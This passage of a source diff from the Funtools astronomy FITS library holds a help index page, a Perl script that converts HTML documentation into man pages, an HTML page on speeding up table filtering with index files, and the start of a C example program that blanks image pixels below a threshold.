binary event lists, and even tables of ASCII column data. A
|
||||
sophisticated region filtering library (compatible with ds9) filters
|
||||
images and tables using boolean operations between geometric shapes,
|
||||
support world coordinates, etc. Funtools also supports advanced
|
||||
capabilities such as optimized data searching using index files.
|
||||
|
||||
The main goal of the Funtools project has been to develop a minimal buy-in
|
||||
FITS library for researchers who are occasional (but serious) coders. In
|
||||
this case, "minimal buy-in" means "easy to learn, easy to use, and easy to
|
||||
re-learn next month". We have tried to achieve this goal by emphasizing two
|
||||
essential capabilities. The first is the ability to develop FITS programs
|
||||
without knowing much about FITS, i.e., without having to deal with the
|
||||
arcane rules for generating a properly formatted FITS file. The second is
|
||||
to support the use of already-familiar C/Unix facilities, especially C
|
||||
structs and Unix stdio. Taken together, these two capabilities should allow
|
||||
researchers to leverage their existing programming expertise while
|
||||
minimizing the need to learn new and complex coding rules.
|
||||
|
||||
<!-- =section funtools DESCRIPTION -->
|
||||
<P>
|
||||
Choose from the following topics:
|
||||
|
||||
<P>
|
||||
<UL>
|
||||
<LI><A HREF="./programs.html">Funtools User Programs</A>
|
||||
<UL>
|
||||
<LI><A HREF="./programs.html#funcalc">funcalc: Funtools calculator (for binary tables)</A>
|
||||
<!-- =text [funcalc(1)] -->
|
||||
<LI><A HREF="./programs.html#funcen">funcen: find centroid (for binary tables)</A>
|
||||
<!-- =text [funcen(1)] -->
|
||||
<LI><A HREF="./programs.html#funcnts">funcnts: count photons in specified regions</A>
|
||||
<!-- =text [funcnts(1)] -->
|
||||
<LI><A HREF="./programs.html#funcone">funcone: cone search on RA, Dec columns</A>
|
||||
<!-- =text [funcone(1)] -->
|
||||
<LI><A HREF="./programs.html#fundisp">fundisp: display data in a Funtools data file</A>
|
||||
<!-- =text [fundisp(1)] -->
|
||||
<LI><A HREF="./programs.html#funhead">funhead: display a header in a Funtools file</A>
|
||||
<!-- =text [funhead(1)] -->
|
||||
<LI><A HREF="./programs.html#funhist">funhist: create a 1D histogram of a column</A>
|
||||
<!-- =text [funhist(1)] -->
|
||||
<LI><A HREF="./programs.html#funimage">funimage: create a FITS image from a Funtools data file</A>
|
||||
<!-- =text [funimage(1)] -->
|
||||
<LI><A HREF="./programs.html#funindex">funindex: create an index on a column in a binary table</A>
|
||||
<!-- =text [funindex(1)] -->
|
||||
<LI><A HREF="./programs.html#funjoin">funjoin: join two or more FITS binary tables on specified columns</A>
|
||||
<!-- =text [funjoin(1)] -->
|
||||
<LI><A HREF="./programs.html#funmerge">funmerge: merge one or more Funtools table files</A>
|
||||
<!-- =text [funmerge(1)] -->
|
||||
<LI><A HREF="./programs.html#funsky">funsky: convert between image and sky coordinates, using WCS info from a FITS header</A>
|
||||
<!-- =text [funsky(1)] -->
|
||||
<LI><A HREF="./programs.html#funtable">funtable: copy selected rows from a Funtools file to a FITS binary table</A>
|
||||
<!-- =text [funtable(1)] -->
|
||||
<LI><A HREF="./programs.html#funtbl">funtbl: extract a table from
|
||||
Funtools ASCII output</A>
|
||||
<!-- =text [funtbl(1)] -->
|
||||
<LI><A HREF="./ds9.html">funtools and ds9 image display</A>
|
||||
<!-- =text [funds9(n)] -->
|
||||
</UL>
|
||||
|
||||
<LI><A HREF="./library.html">Funtools Programming</A>
|
||||
<UL>
|
||||
<LI><A HREF="./library.html#summary">Funtools Programming Summary</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<LI><A HREF="./library.html#tutorial">Funtools Programming Tutorial</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<LI><A HREF="./library.html#order">A Short Digression on Subroutine Order</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<LI><A HREF="./library.html#compiling">Compiling and Linking</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<LI><A HREF="./library.html#refhandle">The Funtools Reference Handle</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<LI><A HREF="./library.html#reference">The Funtools Programming Reference Manual</A>
|
||||
<UL>
|
||||
<LI> <A HREF="./library.html#funopen">FunOpen: open a Funtools file</A>
|
||||
<!-- =text [funopen(3)] -->
|
||||
<LI><A HREF="./library.html#funimageget">FunImageGet: retrieve image data</A>
|
||||
<!-- =text [funimageget(3)] -->
|
||||
<LI><A HREF="./library.html#funimageput">FunImagePut: output image data</A>
|
||||
<!-- =text [funimageput(3)] -->
|
||||
<LI><A HREF="./library.html#funimagerowget">FunImageRowGet: retrieve image data by row</A>
|
||||
<!-- =text [funimagerowget(3)] -->
|
||||
<LI><A HREF="./library.html#funimagerowput">FunImageRowPut: output image data by row</A>
|
||||
<!-- =text [funimagerowput(3)] -->
|
||||
<LI><A HREF="./library.html#funtablerowget">FunTableRowGet: retrieve rows from a table</A>
|
||||
<!-- =text [funtablerowget(3)] -->
|
||||
<LI><A HREF="./library.html#funtablerowput">FunTableRowPut: output rows to a table</A>
|
||||
<!-- =text [funtablerowput(3)] -->
|
||||
<LI><A HREF="./library.html#funcolumnselect">FunColumnSelect: select columns in a table for access</A>
|
||||
<!-- =text [funcolumnselect(3)] -->
|
||||
<LI><A HREF="./library.html#funcolumnactivate">FunColumnActivate: activate columns in a table for read/write</A>
|
||||
<!-- =text [funcolumnactivate(3)] -->
|
||||
<LI><A HREF="./library.html#funcolumnlookup">FunColumnLookup: lookup info about the columns in a table</A>
|
||||
<!-- =text [funcolumnlookup(3)] -->
|
||||
<LI><A HREF="./library.html#funinfoget">FunInfoGet: get info about an image or table</A>
|
||||
<!-- =text [funinfoget(3)] -->
|
||||
<LI><A HREF="./library.html#funinfoput">FunInfoPut: put info about an image or table</A>
|
||||
<!-- =text [funinfoput(3)] -->
|
||||
<LI><A HREF="./library.html#funparamget">FunParamGet: get header param</A>
|
||||
<!-- =text [funparamget(3)] -->
|
||||
<LI><A HREF="./library.html#funparamput">FunParamPut: put header param</A>
|
||||
<!-- =text [funparamput(3)] -->
|
||||
<LI><A HREF="./library.html#funflush">FunFlush: flush I/O in a Funtools file</A>
|
||||
<!-- =text [funflush(3)] -->
|
||||
<LI><A HREF="./library.html#funclose">FunClose: close a Funtools file</A>
|
||||
<!-- =text [funclose(3)] -->
|
||||
</UL>
|
||||
|
||||
<LI><A HREF="./library.html#examples">Funtools Programming Examples</A>
|
||||
<!-- =text [funlib(3)] -->
|
||||
<UL>
|
||||
<LI><A HREF="./evmerge.c">evmerge: merge new columns with existing columns</A>
|
||||
<LI><A HREF="./evcol.c">evcols: add column and rows to binary tables</A>
|
||||
<LI><A HREF="./imblank.c">imblank: blank out image values below a threshold</A>
|
||||
</UL>
|
||||
</UL>
|
||||
|
||||
<LI><A HREF="./files.html">Funtools Data Files</A>
|
||||
<!-- =text [funfiles(n)] -->
|
||||
<UL>
|
||||
<LI><A HREF="./files.html#formats">Supported Data Formats</A>
|
||||
<UL>
|
||||
<LI><A HREF="./files.html#fits">FITS File and Extensions</A>
|
||||
<LI><A HREF="./files.html#events">Non-FITS Raw Event Files</A>
|
||||
<LI><A HREF="./files.html#arrays">Non-FITS Array Files</A>
|
||||
<LI><A HREF="./text.html">Column-based Text (ASCII) Files</A>
|
||||
<LI><A HREF="./view.html">Database Views of Tables</A>
|
||||
</UL>
|
||||
<LI><A HREF="./files.html#sections">Image Sections and Blocking</A>
|
||||
<LI><A HREF="./files.html#binning">Binning FITS Binary Tables and Non-FITS Event Files</H2>
|
||||
<LI><A HREF="./files.html#types">Disk Files and Other Supported File Types</A>
|
||||
</UL>
|
||||
|
||||
<LI>Funtools Data Filtering
|
||||
<UL>
|
||||
<LI><A HREF="./filters.html">Table Filtering</A>
|
||||
<!-- =text [funfilters(n)] -->
|
||||
<LI><A HREF="./idx.html">Fast Table Filtering using Indexes</A>
|
||||
<!-- =text [funidx(n)] -->
|
||||
<LI><A HREF="./regions.html">Spatial Region Filtering</A>
|
||||
<!-- =text [funregions(n)] -->
|
||||
<UL>
|
||||
<LI><A HREF="./reggeometry.html">Region Geometry</A>
|
||||
<!-- =text [reggeometry(n)] -->
|
||||
<LI><A HREF="./regalgebra.html">Region Algebra</A>
|
||||
<!-- =text [regalgebra(n)] -->
|
||||
<LI><A HREF="./regcoords.html">Region Coordinates</A>
|
||||
<!-- =text [regcoords(n)] -->
|
||||
<LI><A HREF="./regbounds.html">Region Boundaries</A>
|
||||
<!-- =text [regbounds(n)] -->
|
||||
<LI><A HREF="./regdiff.html">Differences Between Funtools and IRAF Regions</A>
|
||||
<!-- =text [regdiff(n)] -->
|
||||
</UL>
|
||||
<LI><A HREF="./combo.html">Combining Table and Region Filters</A>
|
||||
<!-- =text [funcombine(n)] -->
|
||||
</UL>
|
||||
|
||||
<LI> Miscellaneous
|
||||
<UL>
|
||||
<LI><A HREF="./env.html">Funtools Environment Variables</A>
|
||||
<!-- =text [funenv(n)] -->
|
||||
<LI><A HREF="./changelog.html">Funtools ChangeLog</A>
|
||||
</UL>
|
||||
|
||||
</UL>
|
||||
|
||||
<!-- =stop -->
|
||||
|
||||
<H5>Last updated: January 6, 2006</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
||||
|
|
@ -0,0 +1,258 @@
|
|||
#!/usr/bin/perl
|
||||
#
|
||||
# See COPYRIGHT
|
||||
#
|
||||
# Script to generate a pod file from an html source (the same one as for text files too)
|
||||
# and later this pod file it passed through pod2man
|
||||
#
|
||||
# Use:
|
||||
# html2man [ <man-dir> [<version-dir>] ] <file.html
|
||||
#
|
||||
# <Man-dir> is the directory where the man pages will be created
|
||||
# (current directory by default). If a file name is given instead of
|
||||
# directory then the directory of that file is used.
|
||||
# <Version-dir> is the directory containing the ttf2pt1 files version.h
|
||||
# and CHANGES.html which are used to generate the release name and date
|
||||
# for the man page (by default looks in current directory and then in up to
|
||||
# 5 ancestor directories).
|
||||
# If the version files can not be found then the release defaults to
|
||||
# "current" and the date defaults to today.
|
||||
#
|
||||
# Special formatting in the html file is:
|
||||
# All controls are hidden within HTML comments that must occupy a whole separate line
|
||||
# Such a line looks like:
|
||||
# <!-- =<html2man_directive> <arguments> -->
|
||||
# <!-- ==<pod_directive> <arguments> -->
|
||||
# Any sort of directive must be followed by a space. The pod directives are
|
||||
# automatically surrounded by empty lines in the output file.
|
||||
# The html2man directives are:
|
||||
#
|
||||
# <!-- =defdoc <docid> <file> <section> -->
|
||||
# Define a man page. Multiple man pages can be defined in the same HTML
|
||||
# file. <Docid> is a short name by which this man page will be referred in the
|
||||
# other directives. <File> is the name of the man page, and <section> is the
|
||||
# section of the manual (do not confuse with sections within a man page).
|
||||
#
|
||||
# <!-- =section <docid> <page_section_name> -->
|
||||
# All the text following this directive is copied (with translation)
|
||||
# into the specified section of the specified man page. The sections
|
||||
# may appear in arbitrary order, they will be rearranged to the standard
|
||||
# order before output. Only standard section names are permitted (see @stdsect
|
||||
# below). The pod directives which occur outside of man sections are ignored,
|
||||
# just like the common text. The translation of HTML tags is:
|
||||
#
|
||||
# <br> - to paragraph break
|
||||
# <b> - to B<>
|
||||
# <i> - to I<>
|
||||
# <tt> - to C<>
|
||||
# <a href> - to F<>
|
||||
# <ul>, <li>, </ul> - to =over 2, =item *, =back
|
||||
# , &, <, > - to their symbols, appropriately encoded
|
||||
#
|
||||
# The rest of HTML tags is removed
|
||||
#
|
||||
# If the same section is started more than once, the text from the
|
||||
# second appearance will be added to the first, etc.
|
||||
#
|
||||
# <!-- =stop -->
|
||||
# Stop copying text to the man page.
|
||||
#
|
||||
# <!-- =cont -->
|
||||
# Continue copying text to the man page, same section as before.
|
||||
#
|
||||
# <!-- =text <text> -->
|
||||
# Insert this <text> into the man page (works only when copying is enabled).
|
||||
# Characters <, >, & are converted as usual.
|
||||
|
||||
@mons = qw(January February March April May June July August September October November December);
|
||||
|
||||
$dir = $ARGV[0];
|
||||
$maindir = $ARGV[1];
|
||||
|
||||
if($dir eq "") {
|
||||
$dir = ".";
|
||||
} elsif( ! -d $dir ) {
|
||||
if( ! ($dir =~ s|\/[^/]*$||) ) {
|
||||
$dir = ".";
|
||||
}
|
||||
}
|
||||
if($maindir eq "") {
|
||||
$maindir = ".";
|
||||
for($i=0; $i<5; $i++) {
|
||||
if(-f "$maindir/version.h") {
|
||||
last;
|
||||
}
|
||||
$maindir = "../$maindir";
|
||||
}
|
||||
}
|
||||
|
||||
if( open(VERFILE, "<$maindir/version.h") ) {
|
||||
while(<VERFILE>) {
|
||||
if( /^\s*\#define\s+TTF2PT1_VERSION\s+\"(.*)\"/ ) {
|
||||
$release = "version $1";
|
||||
}
|
||||
}
|
||||
close(VERFILE);
|
||||
if( $release =~ /SNAP-([0-9][0-9])([0-9][0-9])([0-9][0-9])/ ) {
|
||||
$date = sprintf("%s %d, 20%02d", $mons[$2-1], $3, $1);
|
||||
} elsif( open(CFILE, "<$maindir/CHANGES.html") ) {
|
||||
while(<CFILE>) {
|
||||
if( /\<H4\>/) {
|
||||
last;
|
||||
}
|
||||
}
|
||||
$_ = <CFILE>;
|
||||
chomp;
|
||||
if( $_ =~ s/^.*?-- // ) {
|
||||
$date = $_;
|
||||
}
|
||||
close(CFILE);
|
||||
}
|
||||
}
|
||||
|
||||
if($release eq "") {
|
||||
if( open(VERFILE, "<../Makefile") ) {
|
||||
while(<VERFILE>) {
|
||||
if( /^VERSION\s+=\s+(.*)/ ) {
|
||||
$release = "version $1";
|
||||
}
|
||||
}
|
||||
close(VERFILE);
|
||||
}
|
||||
}
|
||||
|
||||
if($release eq "") {
|
||||
$release = "current";
|
||||
}
|
||||
if($date eq "") {
|
||||
@lt = localtime(time);
|
||||
$date = sprintf("%s %d, %d", $mons[$lt[4]], $lt[3], 1900+$lt[5]);
|
||||
}
|
||||
|
||||
#printf(STDERR "date=%s release=%s\n", $date, $release);
|
||||
|
||||
$writemode = 0;
|
||||
|
||||
while(<STDIN>) {
|
||||
if( s/^\<\!\-\- \=(\S+)\s+//) {
|
||||
$cmd = $1;
|
||||
s/\s*\-\-\>\s*$//;
|
||||
#printf(STDERR "cmd=%s args=%s\n", $cmd, $_);
|
||||
if($cmd =~ /^=/) {
|
||||
if($writemode) {
|
||||
$text{$tosect} .= "\n\n$cmd $_\n\n";
|
||||
}
|
||||
} elsif($cmd eq "defdoc") {
|
||||
@sl = split;
|
||||
push(@allids, $sl[0]);
|
||||
$file{$sl[0]} = $sl[1];
|
||||
$mansect{$sl[0]} = $sl[2];
|
||||
} elsif($cmd eq "section") {
|
||||
# tosect includes the file id
|
||||
$tosect = $_;
|
||||
$text{$tosect} .= "\n\n";
|
||||
$writemode = 1;
|
||||
} elsif($cmd eq "stop") {
|
||||
$writemode = 0;
|
||||
$text{$tosect} .= "\n";
|
||||
} elsif($cmd eq "cont") {
|
||||
$writemode = 1;
|
||||
} elsif($cmd eq "text") {
|
||||
if($writemode) {
|
||||
s/\<\;/</gi;
|
||||
s/\>\;/>/gi;
|
||||
s/\&\;/\&/gi;
|
||||
$text{$tosect} .= "$_\n";
|
||||
}
|
||||
}
|
||||
} elsif($writemode) {
|
||||
# s/^\s+//;
|
||||
|
||||
s/\{/\&lbr;/g;
|
||||
s/\}/\&rbr;/g;
|
||||
|
||||
s/\<br\>/\n\n/gi;
|
||||
#s/\<blockquote\>/\n\n=over 4\n\n/gi;
|
||||
#s/\<\/blockquote\>/\n\n=back\n\n/gi;
|
||||
s/\<ul\>/\n\n=over 4\n\n/gi;
|
||||
s/\<\/ul\>/\n\n=back\n\n/gi;
|
||||
s/\<li\>\s*/\n\n=item \*\n\n/gi;
|
||||
|
||||
s/\<dl\>/\n\n=over 4\n\n/gi;
|
||||
s/\<\/dl\>/\n\n=back\n\n/gi;
|
||||
s/\<dt\>\s*/\n\n=item \*\n\n/gi;
|
||||
s/\<dd\>\s*/\n\n/gi;
|
||||
|
||||
s/\<i\>(.*?)\<\/i\>/I\{\1\}/gi;
|
||||
s/\<em\>(.*?)\<\/em\>/I\{\1\}/gi;
|
||||
s/\<b\>(.*?)\<\/b\>/B\{\1\}/gi;
|
||||
s/\<tt\>(.*?)\<\/tt\>/C\{\1\}/gi;
|
||||
s/\<a href\=\.*?\>(.*?)\<\/a\>/F\{\1\}/gi;
|
||||
s/\<h2\>summary\<\/h2\>//gi;
|
||||
s/\<h2\>description\<\/h2\>//gi;
|
||||
s/\<h2\>examples\<\/h2\>//gi;
|
||||
s/\<h2\>options\<\/h2\>//gi;
|
||||
s/\<h2\>(.*?)\<\/h2\>/B\{\1\}/gi;
|
||||
s/\<.*?\>//g;
|
||||
s/\{/\</g;
|
||||
s/\}/\>/g;
|
||||
|
||||
s/\ \;/S< >/gi;
|
||||
s/\&\;/\&/gi;
|
||||
# s/\<\;/E<lt>/gi;
|
||||
# s/\>\;/E<gt>/gi;
|
||||
s/\<\;/\</gi;
|
||||
s/\>\;/\>/gi;
|
||||
#s/\|/E<verbar>/g;
|
||||
#s/\//E<sol>/g;
|
||||
s/\&lbr\;/\{/g;
|
||||
s/\&rbr\;/\}/g;
|
||||
|
||||
#printf(STDERR "section=%s add=%s", $tosect, $_);
|
||||
$text{$tosect} .= $_;
|
||||
}
|
||||
}
|
||||
|
||||
@stdsect = (
|
||||
"NAME",
|
||||
"SYNOPSIS",
|
||||
"OPTIONS",
|
||||
"DESCRIPTION",
|
||||
"RETURN VALUE",
|
||||
"ERRORS",
|
||||
"EXAMPLES",
|
||||
"ENVIRONMENT",
|
||||
"FILES",
|
||||
"SEE ALSO",
|
||||
"NOTES",
|
||||
"CAVEATS",
|
||||
"DIAGNOSTICS",
|
||||
"BUGS",
|
||||
"RESTRICTIONS",
|
||||
"AUTHOR",
|
||||
"HISTORY" );
|
||||
|
||||
#printf(STDERR "allids= @allids\n");
|
||||
for $id (@allids) {
|
||||
print(STDERR "creating man page $id $file{$id} $mansect{$id}\n\n");
|
||||
die "Unable to create pod file $dir/$file{$id}.pod"
|
||||
unless open(PODF, ">./pod/$file{$id}.pod");
|
||||
print(PODF "=pod\n\n");
|
||||
for $sect (@stdsect) {
|
||||
$sid = "$id $sect";
|
||||
#printf(STDERR "trying %s\n", $sid);
|
||||
if(defined $text{$sid}) {
|
||||
#printf(STDERR " section %s\n", $sid);
|
||||
print(PODF "=head1 $sect\n\n$text{$sid}\n\n");
|
||||
}
|
||||
}
|
||||
print(PODF "=cut\n");
|
||||
close(PODF);
|
||||
die "Unable to generate the man page $dir/$file{$id}.1"
|
||||
if system("pod2man --section=\"$mansect{$id}\" --release=\"$release\" "
|
||||
. "--center=\"SAORD Documentation\" --date=\"$date\" "
|
||||
. "--name=\"$file{$id}\" "
|
||||
. "./pod/$file{$id}.pod > $dir/man$mansect{$id}/$file{$id}.$mansect{$id}");
|
||||
|
||||
unlink("$dir/$file{$id}.pod");
|
||||
}
|
|
@ -0,0 +1,216 @@
|
|||
<!-- =defdoc funidx funidx n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Table Filtering with Indexes</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funidx NAME -->
|
||||
<H2><A NAME="funidx">Funidx: Using Indexes to Filter Rows in a Table</A></H2>
|
||||
|
||||
<!-- =section funidx SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
<P>
|
||||
This document contains a summary of the user interface for
|
||||
filtering rows in binary tables with indexes.
|
||||
|
||||
<!-- =section funidx DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
<P>
|
||||
Funtools <A HREF="./filters.html">Table Filtering</A> allows rows in a
|
||||
table to be selected based on the values of one or more columns in the
|
||||
row. Because the actual filter code is compiled on the fly, it is very
|
||||
efficient. However, for very large files (hundreds of Mb or larger),
|
||||
evaluating the filter expression on each row can take a long time. Therefore,
|
||||
funtools supports index files for columns, which are used automatically during
|
||||
filtering to reduce dramatically the number of row evaluations performed.
|
||||
The speed increase for indexed filtering can be an order of magnitude or
|
||||
more, depending on the size of the file.
|
||||
|
||||
<P>
|
||||
The <A HREF="./programs.html#funindex">funindex</A> program creates an
|
||||
index on one or more columns in a binary table. For example, to create an index
|
||||
for the column pi in the file huge.fits, use:
|
||||
<PRE>
|
||||
funindex huge.fits pi
|
||||
</PRE>
|
||||
This will create an index named huge_pi.idx.
|
||||
|
||||
<P>
|
||||
When a filter expression is initialized for row evaluation, funtools
|
||||
looks for an index file for each column in the filter expression. If
|
||||
found, and if the file modification date of the index file is later
|
||||
than that of the data file, then the index will be used to reduce the
|
||||
number of rows that are evaluated in the filter. When
|
||||
<A HREF="./regions.html">Spatial Region Filtering</A> is part of the
|
||||
expression, the columns associated with the region are checked for index
|
||||
files.
|
||||
|
||||
<P>
|
||||
If an index file is not available for a given column, then in general,
|
||||
all rows must be checked when that column is part of a filter
|
||||
expression. This is not true, however, when a non-indexed column is
|
||||
part of an AND expression. In this case, only the rows that pass the
|
||||
other part of the AND expression need to be checked. Thus, in some cases,
|
||||
filtering speed can increase significantly even if all columns are not
|
||||
indexed.
|
||||
|
||||
<P>
|
||||
Also note that certain types of filter expression syntax cannot make
|
||||
use of indices. For example, calling functions with column names as
|
||||
arguments implies that all rows must be checked against the function
|
||||
value. Once again, however, if this function is part of an AND
|
||||
expression, then a significant improvement in speed still is possible
|
||||
if the other part of the AND expression is indexed.
|
||||
|
||||
<P>
|
||||
For example, note below the dramatic speedup in searching a 1 Gb
|
||||
file using an AND filter, even when one of the columns (pha) has no
|
||||
index:
|
||||
|
||||
<PRE>
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=0,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
|
||||
"x y pha"
|
||||
x y pha
|
||||
---------- ----------- ----------
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
42.36u 13.07s 6:42.89 13.7%
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=1,idx_debug=1,pha=2348&&cir 4000 4000 1]' \
|
||||
"x y pha"
|
||||
x y pha
|
||||
---------- ----------- ----------
|
||||
idxeq: [INDEF]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxand(1): INDEF [IDX_OR_SORT]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
3999.48 4000.47 2348
|
||||
1.55u 0.37s 1:19.80 2.4%
|
||||
</PRE>
|
||||
|
||||
When all columns are indexed, the increase in speed can be even more dramatic:
|
||||
<PRE>
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=0,idx_debug=1,pi=770&&cir 4000 4000 1]' \
|
||||
"x y pi"
|
||||
x y pi
|
||||
---------- ----------- ----------
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
42.60u 12.63s 7:28.63 12.3%
|
||||
|
||||
time fundisp \
|
||||
huge.fits'[idx_activate=1,idx_debug=1,pi=770&&cir 4000 4000 1]' \
|
||||
"x y pi"
|
||||
x y pi
|
||||
---------- ----------- ----------
|
||||
idxeq: pi start=9473025,stop=9492240 => pi[ROW 9473025:9492240]
|
||||
idxand sort: x[ROW 8037025:8070128] y[ROW 5757665:5792352]
|
||||
idxor sort/merge: pi[ROW 9473025:9492240] [IDX_OR_SORT]
|
||||
idxmerge(5): [IDX_OR_SORT] pi[ROW]
|
||||
idxall(1): [IDX_OR_SORT]
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
3999.48 4000.47 770
|
||||
1.67u 0.30s 0:24.76 7.9%
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
The miracle of indexed filtering (and indeed, of any indexing) is the
|
||||
speed of the binary search on the index, which is of order log2(n)
|
||||
instead of n. (The funtools binary search method is taken from
|
||||
http://www.tbray.org/ongoing/When/200x/2003/03/22/Binary, to whom
|
||||
grateful acknowledgement is made.) This means that the larger the
|
||||
file, the better the performance. Conversely, it also means that for
|
||||
small files, using an index (and the overhead involved) can slow
|
||||
filtering down somewhat. Our tests indicate that on a file containing
|
||||
a few tens of thousands of rows, indexed filtering can be 10 to 20
|
||||
percent slower than non-indexed filtering. Of course, your mileage
|
||||
will vary with conditions (disk access speed, amount of available
|
||||
memory, process load, etc.)
|
||||
|
||||
<p>
|
||||
Any problem encountered during index processing will result in
|
||||
indexing being turned off, and replaced by filtering all rows. You can turn
|
||||
filtering off manually by setting the idx_activate variable to 0 (in a filter
|
||||
expression) or the FILTER_IDX_ACTIVATE environment variable to 0 (in the global
|
||||
environment). Debugging output showing how the indexes are being processed can
|
||||
be displayed to stderr by setting the idx_debug variable to 1 (in a filter
|
||||
expression) or the FILTER_IDX_DEBUG environment variable to 1 (in the global
|
||||
environment).
|
||||
|
||||
<p>
|
||||
Currently, indexed filtering only works with FITS binary tables and raw
|
||||
event files. It does not work with text files. This restriction might be
|
||||
removed in a future release.
|
||||
|
||||
<!-- =section funidx SEE ALSO -->
|
||||
<!-- =text See funtools(n) for a list of Funtools help pages -->
|
||||
<!-- =stop -->
|
||||
|
||||
<P>
|
||||
<A HREF="./help.html">Go to Funtools Help Index</A>
|
||||
|
||||
<H5>Last updated: August 3, 2007</H5>
|
||||
|
||||
</BODY>
|
||||
</HTML>
|
|
@ -0,0 +1,106 @@
|
|||
#include <funtools.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef ANSI_FUNC
|
||||
int
|
||||
main (int argc, char **argv)
|
||||
#else
|
||||
main(argc, argv)
|
||||
int argc;
|
||||
char **argv;
|
||||
#endif
|
||||
{
|
||||
int i;
|
||||
int bitpix, dim1, dim2;
|
||||
int total;
|
||||
double blimit, bvalue;
|
||||
char *buf;
|
||||
unsigned char *cbuf;
|
||||
short *sbuf;
|
||||
int *ibuf;
|
||||
float *fbuf;
|
||||
double *dbuf;
|
||||
Fun fun, fun2;
|
||||
|
||||
if( argc < 4 ){
|
||||
fprintf(stderr, "usage: %s iname oname blimit bvalue\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get blank limit and optional blank value */
|
||||
blimit = atof(argv[3]);
|
||||
bvalue = 0;
|
||||
if( argc >= 5 )
|
||||
bvalue = atof(argv[4]);
|
||||
|
||||
/* exit on gio errors */
|
||||
setgerror(2);
|
||||
|
||||
/* open the input FITS file */
|
||||
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
|
||||
/* open the output FITS image, preparing to copy input params */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
/* extract and bin the data section into an image buffer */
|
||||
if( !(buf = FunImageGet(fun, NULL, NULL)) )
|
||||
gerror(stderr, "could not FunImageGet: %s\n", argv[1]);
|
||||
|
||||
/* get required information from funtools structure.
|
||||
this should come after the ImageGet call, in case that call
|
||||
changed fun_sect_bitpix value */
|
||||
FunInfoGet(fun,
|
||||
FUN_SECT_BITPIX, &bitpix,
|
||||
FUN_SECT_DIM1, &dim1,
|
||||
FUN_SECT_DIM2, &dim2,
|
||||
0);
|
||||
|
||||
/* set appropriate data type buffer to point to image buffer */
|
||||
switch(bitpix){
|
||||
case 8:
|
||||
cbuf = (unsigned char *)buf; break;
|
||||
case 16:
|
||||
sbuf = (short *)buf; break;
|
||||
case 32:
|
||||
ibuf = (int *)buf; break;
|
||||
case -32:
|
||||
fbuf = (float *)buf; break;
|
||||
case -64:
|
||||
dbuf = (double *)buf; break;
|
||||
}
|
||||
|
||||
/* loop through pixels and reset values below limit to value */
|
||||
total = dim1*dim2;
|
||||
for(i=0; i<total; i++){
|
||||
switch(bitpix){
|
||||
case 8:
|
||||
if( cbuf[i] <= blimit ) cbuf[i] = bvalue;
|
||||
break;
|
||||
case 16:
|
||||
if( sbuf[i] <= blimit ) sbuf[i] = bvalue;
|
||||
break;
|
||||
case 32:
|
||||
if( ibuf[i] <= blimit ) ibuf[i] = bvalue;
|
||||
break;
|
||||
case -32:
|
||||
